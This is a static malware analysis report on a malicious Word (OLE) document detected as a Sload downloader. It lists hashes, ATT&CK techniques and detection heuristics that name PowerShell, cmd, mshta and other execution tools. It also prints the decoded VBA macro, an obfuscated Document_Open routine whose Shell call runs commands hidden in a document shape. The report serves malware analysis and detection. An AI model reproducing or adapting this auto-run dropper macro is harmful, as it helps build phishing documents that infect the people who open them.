Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f412f2f8ea027daa…

MALICIOUS

Office (OLE)

79.8 KB Created: 2018-11-07 06:22:00 Authoring application: Microsoft Office Word First seen: 2020-05-14
MD5: 0ea78ad66bc331d435fd8b1f752fad32 SHA-1: 915ad21e967d3cc408e40e944a3a1c582a6e33ce SHA-256: f412f2f8ea027daa62ce65727d12d90fd9220094f2a022e2a3b902371fcb4439
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.003 Windows Command Shell T1566.001 Spearphishing Attachment

The sample contains a malformed OLE stager with an embedded ZIP payload and VBA macros. The Document_Open macro attempts to execute obfuscated PowerShell commands, which are designed to decompress and execute a second-stage payload. The PowerShell command reconstructs a complex string for execution, likely involving downloading and running further malicious code.

Heuristics 8

  • ClamAV: Doc.Downloader.Sload-6743946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sload-6743946-0
  • Malformed OLE auto-open stager with embedded ZIP payload critical OLE_RAW_MALFORMED_AUTOOPEN_STAGER
    Raw malformed OLE bytes contain an auto-open macro entry, embedded ZIP/theme package bytes, VBA project metadata, and URL/CMD/Shell staging tokens. This is a high-confidence exploit-builder shape where the OLE directory is intentionally malformed, preventing normal VBA extraction while leaving the auto-run stager visible in raw streams.
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1187 bytes
SHA-256: d896a69ec6987743d61cc09abe171c9d528f2ffec505c8ae17fb42d20ec0ba4f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "wnlNlcVKoXP"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
   FormatNumber (OBALG + sCTVMH + MzFcVz + PfnVsP)
   FormatDateTime (hAcPu + ljadIs / ABwmC + BmhdJc + mjOiSr + kUStw)
   FormatDateTime NhfQjp + TAGVDE + tUFGs + BAhaoO + tDUTzK + OlmFic
   TimeValue (OSDwt + Rjpwt - ishCL + djaYCR + qADvo + oCbJp)
   FormatDateTime TiwNHj + dpjqS / VAXSnz + CSwKR * QfjEpp + aSCiw + OXFZv + YIOUua - (PfYBi + wRSiuk)
Const VzGwuWaXS = 102268656 - 102268656
Shell@ Shapes(Erfqb + FDkPXGG + 1 + qQlfCWO + lEwGi).TextFrame.TextRange.Text + qmZouhbJ + wSfREho, VzGwuWaXS
   TimeValue (ZZqwh + rqqDjw + tZjTh + fIpct - ZwHij + JFPRQ)
   TimeValue DJafE + kLDdr + ikjQW + nTpsw / (XhPZIO + PwGVsT * (GZFzz + GhqkD))
   TimeValue sFbIj + pNcREW + dzXBzv + ujEhT / GjiTj + YduWzw + FKCtt + bFDKJi * NLfJB + odZGjJ + czNjbZ + tqKrp + (BszCZ + kZONw)
   FormatDateTime rLDrkF + nbZGl - APWKkz + hIjjHJ
End Sub

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